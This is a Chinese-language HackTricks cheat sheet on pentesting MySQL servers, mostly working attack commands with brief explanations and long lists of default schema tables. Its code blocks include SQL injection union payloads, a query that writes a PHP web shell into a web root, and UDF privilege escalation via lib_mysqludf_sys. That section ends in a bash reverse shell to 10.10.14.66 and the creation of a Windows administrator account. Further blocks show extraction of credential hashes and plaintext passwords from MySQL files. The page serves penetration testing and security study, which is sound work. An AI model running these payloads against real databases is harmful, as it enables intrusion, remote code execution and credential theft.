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646 lines
23 KiB
Markdown
646 lines
23 KiB
Markdown
# 3306 - Pentesting Mysql
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<details>
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<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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其他支持HackTricks的方式:
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* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
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* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
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[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流之地。
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{% embed url="https://www.rootedcon.com/" %}
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## **基本信息**
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**MySQL**可以被描述为一种开源**关系数据库管理系统(RDBMS)**,可免费使用。它运行在**结构化查询语言(SQL)**上,可以管理和操作数据库。
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**默认端口:** 3306
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```
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3306/tcp open mysql
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```
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## **连接**
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### **本地**
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```bash
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mysql -u root # Connect to root without password
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mysql -u root -p # A password will be asked (check someone)
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```
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### 远程
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```bash
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mysql -h <Hostname> -u root
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mysql -h <Hostname> -u root@localhost
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```
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## 外部枚举
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一些枚举操作需要有效的凭据。
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```bash
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nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
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msf> use auxiliary/scanner/mysql/mysql_version
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msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
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msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
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msf> use auxiliary/admin/mysql/mysql_enum #Creds
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msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
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msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
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```
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### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#mysql)
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### 写入任何二进制数据
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```bash
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CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
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CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
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```
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## **MySQL 命令**
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```bash
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show databases;
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use <database>;
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connect <database>;
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show tables;
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describe <table_name>;
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show columns from <table>;
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select version(); #version
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select @@version(); #version
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select user(); #User
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select database(); #database name
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#Get a shell with the mysql client user
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\! sh
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#Basic MySQLi
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Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
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Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
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#Read & Write
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## Yo need FILE privilege to read & write to files.
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select load_file('/var/lib/mysql-files/key.txt'); #Read file
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select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
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#Try to change MySQL root password
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UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
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UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
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FLUSH PRIVILEGES;
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quit;
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```
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```bash
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mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
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mysql -u root -h 127.0.0.1 -e 'show databases;'
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```
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### MySQL权限枚举
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```sql
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#Mysql
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SHOW GRANTS [FOR user];
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SHOW GRANTS;
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SHOW GRANTS FOR 'root'@'localhost';
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SHOW GRANTS FOR CURRENT_USER();
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# Get users, permissions & hashes
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SELECT * FROM mysql.user;
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#From DB
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select * from mysql.user where user='root';
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## Get users with file_priv
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select user,file_priv from mysql.user where file_priv='Y';
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## Get users with Super_priv
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select user,Super_priv from mysql.user where Super_priv='Y';
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# List functions
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SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
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#@ Functions not from sys. db
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SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
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```
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### MySQL文件RCE
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您可以在文档中查看每个权限的含义:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
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### MySQL客户端的任意文件读取
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实际上,当您尝试将**本地数据加载到表中**时,MySQL或MariaDB服务器会要求**客户端读取文件**并发送内容。**因此,如果您能够篡改一个MySQL客户端以连接到您自己的MySQL服务器,您就可以读取任意文件。**\
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请注意,这是使用以下行为:
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```bash
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load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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```
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(注意"local"这个词)\
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因为没有"local",你可能会得到:
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```bash
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mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
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```
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**初始 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
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**在这篇论文中,您可以看到对攻击的完整描述,甚至如何将其扩展到 RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
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**在这里,您可以找到对攻击的概述:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
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[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为**促进技术知识**的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会。
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{% embed url="https://www.rootedcon.com/" %}
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## POST
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### Mysql 用户
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如果 mysql 以 **root** 用户身份运行,将会非常有趣:
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```bash
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cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
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systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
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```
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#### MySQL 配置文件 mysqld.cnf 的危险设置
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在 MySQL 服务的配置中,采用了各种设置来定义其操作和安全措施:
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- **`user`** 设置用于指定 MySQL 服务将在哪个用户下执行。
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- **`password`** 用于建立与 MySQL 用户关联的密码。
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- **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
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- **`debug`** 变量表示当前的调试配置,包括日志中的敏感信息。
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- **`sql_warnings`** 管理在单行 INSERT 语句出现警告时是否生成信息字符串,其中包含日志中的敏感数据。
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- 通过 **`secure_file_priv`**,数据导入和导出操作的范围受到限制以增强安全性。
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```bash
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# Get current user (an all users) privileges and hashes
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use mysql;
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select user();
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select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
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# Get users, permissions & creds
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SELECT * FROM mysql.user;
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mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
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# Create user and give privileges
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create user test identified by 'test';
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grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
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# Get a shell (with your permissions, usefull for sudo/suid privesc)
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\! sh
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```
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### 通过库进行权限提升
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如果 **mysql 服务器以 root 用户身份运行**(或其他更高特权用户),您可以让其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您将需要一个运行 mysql 的操作系统的 **库**。
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可以在 sqlmap 和 metasploit 中找到要使用的恶意库,方法是执行 **`locate "*lib_mysqludf_sys*"`** 命令。**`.so`** 文件是 **Linux** 库,而 **`.dll`** 是 **Windows** 库,请选择您需要的那个。
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如果您 **没有** 这些库,您可以 **寻找它们**,或者下载这个 [**Linux C 代码**](https://www.exploit-db.com/exploits/1518) 并在易受攻击的 Linux 机器上 **编译**。
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```bash
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gcc -g -c raptor_udf2.c
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gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
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```
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现在您已经有了库,作为特权用户(root?)登录到Mysql,并按照以下步骤操作:
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#### Linux
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```sql
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# Use a database
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use mysql;
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# Create a table to load the library and move it to the plugins dir
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create table npn(line blob);
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# Load the binary library inside the table
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## You might need to change the path and file name
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insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
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# Get the plugin_dir path
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show variables like '%plugin%';
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# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
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# dump in there the library
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select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
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# Create a function to execute commands
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create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
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# Execute commands
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select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
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select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
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```
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#### Windows
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```sql
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# CHech the linux comments for more indications
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USE mysql;
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CREATE TABLE npn(line blob);
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INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
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show variables like '%plugin%';
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SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
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CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
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SELECT sys_exec("net user npn npn12345678 /add");
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SELECT sys_exec("net localgroup Administrators npn /add");
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```
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### 从文件中提取MySQL凭据
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在 _/etc/mysql/debian.cnf_ 中,您可以找到用户 **debian-sys-maint** 的**明文密码**
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```bash
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cat /etc/mysql/debian.cnf
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```
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您可以**使用这些凭据登录到MySQL数据库**。
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在文件:_/var/lib/mysql/mysql/user.MYD_ 中,您可以找到**所有MySQL用户的哈希值**(可以从数据库中的mysql.user中提取出来)_._
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您可以执行以下操作提取它们:
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```bash
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grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
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```
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### 启用日志记录
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您可以在`/etc/mysql/my.cnf`文件中取消注释以下行以启用mysql查询的日志记录:
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![](<../.gitbook/assets/image (277).png>)
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### 有用的文件
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配置文件
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- windows \*
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- config.ini
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- my.ini
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- windows\my.ini
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- winnt\my.ini
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- \<InstDir>/mysql/data/
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- unix
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- my.cnf
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- /etc/my.cnf
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- /etc/mysql/my.cnf
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- /var/lib/mysql/my.cnf
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- \~/.my.cnf
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- /etc/my.cnf
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- 命令历史
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- \~/.mysql.history
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- 日志文件
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- connections.log
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- update.log
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- common.log
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## 默认的MySQL数据库/表
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{% tabs %}
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{% tab title="information_schema" %}
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ALL\_PLUGINS\
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APPLICABLE\_ROLES\
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CHARACTER\_SETS\
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CHECK\_CONSTRAINTS\
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COLLATIONS\
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COLLATION\_CHARACTER\_SET\_APPLICABILITY\
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COLUMNS\
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COLUMN\_PRIVILEGES\
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ENABLED\_ROLES\
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ENGINES\
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EVENTS\
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FILES\
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GLOBAL\_STATUS\
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GLOBAL\_VARIABLES\
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KEY\_COLUMN\_USAGE\
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KEY\_CACHES\
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OPTIMIZER\_TRACE\
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PARAMETERS\
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PARTITIONS\
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PLUGINS\
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PROCESSLIST\
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PROFILING\
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REFERENTIAL\_CONSTRAINTS\
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ROUTINES\
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SCHEMATA\
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SCHEMA\_PRIVILEGES\
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SESSION\_STATUS\
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SESSION\_VARIABLES\
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STATISTICS\
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SYSTEM\_VARIABLES\
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TABLES\
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TABLESPACES\
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TABLE\_CONSTRAINTS\
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TABLE\_PRIVILEGES\
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TRIGGERS\
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USER\_PRIVILEGES\
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VIEWS\
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INNODB\_LOCKS\
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INNODB\_TRX\
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INNODB\_SYS\_DATAFILES\
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INNODB\_FT\_CONFIG\
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INNODB\_SYS\_VIRTUAL\
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INNODB\_CMP\
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INNODB\_FT\_BEING\_DELETED\
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INNODB\_CMP\_RESET\
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INNODB\_CMP\_PER\_INDEX\
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INNODB\_CMPMEM\_RESET\
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INNODB\_FT\_DELETED\
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INNODB\_BUFFER\_PAGE\_LRU\
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INNODB\_LOCK\_WAITS\
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INNODB\_TEMP\_TABLE\_INFO\
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INNODB\_SYS\_INDEXES\
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INNODB\_SYS\_TABLES\
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INNODB\_SYS\_FIELDS\
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INNODB\_CMP\_PER\_INDEX\_RESET\
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INNODB\_BUFFER\_PAGE\
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INNODB\_FT\_DEFAULT\_STOPWORD\
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INNODB\_FT\_INDEX\_TABLE\
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INNODB\_FT\_INDEX\_CACHE\
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INNODB\_SYS\_TABLESPACES\
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INNODB\_METRICS\
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INNODB\_SYS\_FOREIGN\_COLS\
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INNODB\_CMPMEM\
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INNODB\_BUFFER\_POOL\_STATS\
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INNODB\_SYS\_COLUMNS\
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INNODB\_SYS\_FOREIGN\
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INNODB\_SYS\_TABLESTATS\
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GEOMETRY\_COLUMNS\
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SPATIAL\_REF\_SYS\
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CLIENT\_STATISTICS\
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INDEX\_STATISTICS\
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USER\_STATISTICS\
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INNODB\_MUTEXES\
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TABLE\_STATISTICS\
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INNODB\_TABLESPACES\_ENCRYPTION\
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user\_variables\
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INNODB\_TABLESPACES\_SCRUBBING\
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INNODB\_SYS\_SEMAPHORE\_WAITS
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{% endtab %}
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{% tab title="mysql" %}
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columns\_priv\
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column\_stats\
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db\
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engine\_cost\
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event\
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func\
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general\_log\
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gtid\_executed\
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gtid\_slave\_pos\
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help\_category\
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help\_keyword\
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help\_relation\
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help\_topic\
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host\
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index\_stats\
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innodb\_index\_stats\
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innodb\_table\_stats\
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ndb\_binlog\_index\
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plugin\
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proc\
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procs\_priv\
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proxies\_priv\
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roles\_mapping\
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server\_cost\
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servers\
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slave\_master\_info\
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slave\_relay\_log\_info\
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slave\_worker\_info\
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slow\_log\
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tables\_priv\
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table\_stats\
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time\_zone\
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time\_zone\_leap\_second\
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time\_zone\_name\
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time\_zone\_transition\
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time\_zone\_transition\_type\
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transaction\_registry\
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user
|
||
{% endtab %}
|
||
|
||
{% tab title="performance_schema" %}
|
||
accounts\
|
||
cond\_instances\
|
||
events\_stages\_current\
|
||
events\_stages\_history\
|
||
events\_stages\_history\_long\
|
||
events\_stages\_summary\_by\_account\_by\_event\_name\
|
||
events\_stages\_summary\_by\_host\_by\_event\_name\
|
||
events\_stages\_summary\_by\_thread\_by\_event\_name\
|
||
events\_stages\_summary\_by\_user\_by\_event\_name\
|
||
events\_stages\_summary\_global\_by\_event\_name\
|
||
events\_statements\_current\
|
||
events\_statements\_history\
|
||
events\_statements\_history\_long\
|
||
events\_statements\_summary\_by\_account\_by\_event\_name\
|
||
events\_statements\_summary\_by\_digest\
|
||
events\_statements\_summary\_by\_host\_by\_event\_name\
|
||
events\_statements\_summary\_by\_program\
|
||
events\_statements\_summary\_by\_thread\_by\_event\_name\
|
||
events\_statements\_summary\_by\_user\_by\_event\_name\
|
||
events\_statements\_summary\_global\_by\_event\_name\
|
||
events\_transactions\_current\
|
||
events\_transactions\_history\
|
||
events\_transactions\_history\_long\
|
||
events\_transactions\_summary\_by\_account\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_host\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_thread\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_user\_by\_event\_name\
|
||
events\_transactions\_summary\_global\_by\_event\_name\
|
||
events\_waits\_current\
|
||
events\_waits\_history\
|
||
events\_waits\_history\_long\
|
||
events\_waits\_summary\_by\_account\_by\_event\_name\
|
||
events\_waits\_summary\_by\_host\_by\_event\_name\
|
||
events\_waits\_summary\_by\_instance\
|
||
events\_waits\_summary\_by\_thread\_by\_event\_name\
|
||
events\_waits\_summary\_by\_user\_by\_event\_name\
|
||
events\_waits\_summary\_global\_by\_event\_name\
|
||
file\_instances\
|
||
file\_summary\_by\_event\_name\
|
||
file\_summary\_by\_instance\
|
||
global\_status\
|
||
global\_variables\
|
||
host\_cache\
|
||
hosts\
|
||
memory\_summary\_by\_account\_by\_event\_name\
|
||
memory\_summary\_by\_host\_by\_event\_name\
|
||
memory\_summary\_by\_thread\_by\_event\_name\
|
||
memory\_summary\_by\_user\_by\_event\_name\
|
||
memory\_summary\_global\_by\_event\_name\
|
||
metadata\_locks\
|
||
mutex\_instances\
|
||
objects\_summary\_global\_by\_type\
|
||
performance\_timers\
|
||
prepared\_statements\_instances\
|
||
replication\_applier\_configuration\
|
||
replication\_applier\_status\
|
||
replication\_applier\_status\_by\_coordinator\
|
||
replication\_applier\_status\_by\_worker\
|
||
replication\_connection\_configuration\
|
||
replication\_connection\_status\
|
||
replication\_group\_member\_stats\
|
||
replication\_group\_members\
|
||
rwlock\_instances\
|
||
session\_account\_connect\_attrs\
|
||
session\_connect\_attrs\
|
||
session\_status\
|
||
session\_variables\
|
||
setup\_actors\
|
||
setup\_consumers\
|
||
setup\_instruments\
|
||
setup\_objects\
|
||
setup\_timers\
|
||
socket\_instances\
|
||
socket\_summary\_by\_event\_name\
|
||
socket\_summary\_by\_instance\
|
||
status\_by\_account\
|
||
status\_by\_host\
|
||
status\_by\_thread\
|
||
status\_by\_user\
|
||
table\_handles\
|
||
table\_io\_waits\_summary\_by\_index\_usage\
|
||
table\_io\_waits\_summary\_by\_table\
|
||
table\_lock\_waits\_summary\_by\_table\
|
||
threads\
|
||
user\_variables\_by\_thread\
|
||
users\
|
||
variables\_by\_thread
|
||
{% endtab %}
|
||
|
||
{% tab title="sys" %}
|
||
host\_summary\
|
||
host\_summary\_by\_file\_io\
|
||
host\_summary\_by\_file\_io\_type\
|
||
host\_summary\_by\_stages\
|
||
host\_summary\_by\_statement\_latency\
|
||
host\_summary\_by\_statement\_type\
|
||
innodb\_buffer\_stats\_by\_schema\
|
||
innodb\_buffer\_stats\_by\_table\
|
||
innodb\_lock\_waits\
|
||
io\_by\_thread\_by\_latency\
|
||
io\_global\_by\_file\_by\_bytes\
|
||
io\_global\_by\_file\_by\_latency\
|
||
io\_global\_by\_wait\_by\_bytes\
|
||
io\_global\_by\_wait\_by\_latency\
|
||
latest\_file\_io\
|
||
memory\_by\_host\_by\_current\_bytes\
|
||
memory\_by\_thread\_by\_current\_bytes\
|
||
memory\_by\_user\_by\_current\_bytes\
|
||
memory\_global\_by\_current\_bytes\
|
||
memory\_global\_total\
|
||
metrics\
|
||
processlist\
|
||
ps\_check\_lost\_instrumentation\
|
||
schema\_auto\_increment\_columns\
|
||
schema\_index\_statistics\
|
||
schema\_object\_overview\
|
||
schema\_redundant\_indexes\
|
||
schema\_table\_lock\_waits\
|
||
schema\_table\_statistics\
|
||
schema\_table\_statistics\_with\_buffer\
|
||
schema\_tables\_with\_full\_table\_scans\
|
||
schema\_unused\_indexes\
|
||
session\
|
||
session\_ssl\_status\
|
||
statement\_analysis\
|
||
statements\_with\_errors\_or\_warnings\
|
||
statements\_with\_full\_table\_scans\
|
||
statements\_with\_runtimes\_in\_95th\_percentile\
|
||
statements\_with\_sorting\
|
||
statements\_with\_temp\_tables\
|
||
sys\_config\
|
||
user\_summary\
|
||
user\_summary\_by\_file\_io\
|
||
user\_summary\_by\_file\_io\_type\
|
||
user\_summary\_by\_stages\
|
||
user\_summary\_by\_statement\_latency\
|
||
user\_summary\_by\_statement\_type\
|
||
version\
|
||
wait\_classes\_global\_by\_avg\_latency\
|
||
wait\_classes\_global\_by\_latency\
|
||
waits\_by\_host\_by\_latency\
|
||
waits\_by\_user\_by\_latency\
|
||
waits\_global\_by\_latency\
|
||
x$host\_summary\
|
||
x$host\_summary\_by\_file\_io\
|
||
x$host\_summary\_by\_file\_io\_type\
|
||
x$host\_summary\_by\_stages\
|
||
x$host\_summary\_by\_statement\_latency\
|
||
x$host\_summary\_by\_statement\_type\
|
||
x$innodb\_buffer\_stats\_by\_schema\
|
||
x$innodb\_buffer\_stats\_by\_table\
|
||
x$innodb\_lock\_waits\
|
||
x$io\_by\_thread\_by\_latency\
|
||
x$io\_global\_by\_file\_by\_bytes\
|
||
x$io\_global\_by\_file\_by\_latency\
|
||
x$io\_global\_by\_wait\_by\_bytes\
|
||
x$io\_global\_by\_wait\_by\_latency\
|
||
x$latest\_file\_io\
|
||
x$memory\_by\_host\_by\_current\_bytes\
|
||
x$memory\_by\_thread\_by\_current\_bytes\
|
||
x$memory\_by\_user\_by\_current\_bytes\
|
||
x$memory\_global\_by\_current\_bytes\
|
||
x$memory\_global\_total\
|
||
x$processlist\
|
||
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
|
||
x$ps\_digest\_avg\_latency\_distribution\
|
||
x$ps\_schema\_table\_statistics\_io\
|
||
x$schema\_flattened\_keys\
|
||
x$schema\_index\_statistics\
|
||
x$schema\_table\_lock\_waits\
|
||
x$schema\_table\_statistics\
|
||
x$schema\_table\_statistics\_with\_buffer\
|
||
x$schema\_tables\_with\_full\_table\_scans\
|
||
x$session\
|
||
x$statement\_analysis\
|
||
x$statements\_with\_errors\_or\_warnings\
|
||
x$statements\_with\_full\_table\_scans\
|
||
x$statements\_with\_runtimes\_in\_95th\_percentile\
|
||
x$statements\_with\_sorting\
|
||
x$statements\_with\_temp\_tables\
|
||
x$user\_summary\
|
||
x$user\_summary\_by\_file\_io\
|
||
x$user\_summary\_by\_file\_io\_type\
|
||
x$user\_summary\_by\_stages\
|
||
x$user\_summary\_by\_statement\_latency\
|
||
x$user\_summary\_by\_statement\_type\
|
||
x$wait\_classes\_global\_by\_avg\_latency\
|
||
x$wait\_classes\_global\_by\_latency\
|
||
x$waits\_by\_host\_by\_latency\
|
||
x$waits\_by\_user\_by\_latency\
|
||
x$waits\_global\_by\_latency
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
## HackTricks自动命令
|
||
```
|
||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||
Port_Number: 3306 #Comma separated if there is more than one.
|
||
Protocol_Description: MySql #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MySql
|
||
Note: |
|
||
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
||
|
||
Entry_2:
|
||
Name: Nmap
|
||
Description: Nmap with MySql Scripts
|
||
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
|
||
|
||
Entry_3:
|
||
Name: MySql
|
||
Description: Attempt to connect to mysql server
|
||
Command: mysql -h {IP} -u {Username}@localhost
|
||
|
||
Entry_4:
|
||
Name: MySql consolesless mfs enumeration
|
||
Description: MySql enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||
|
||
```
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|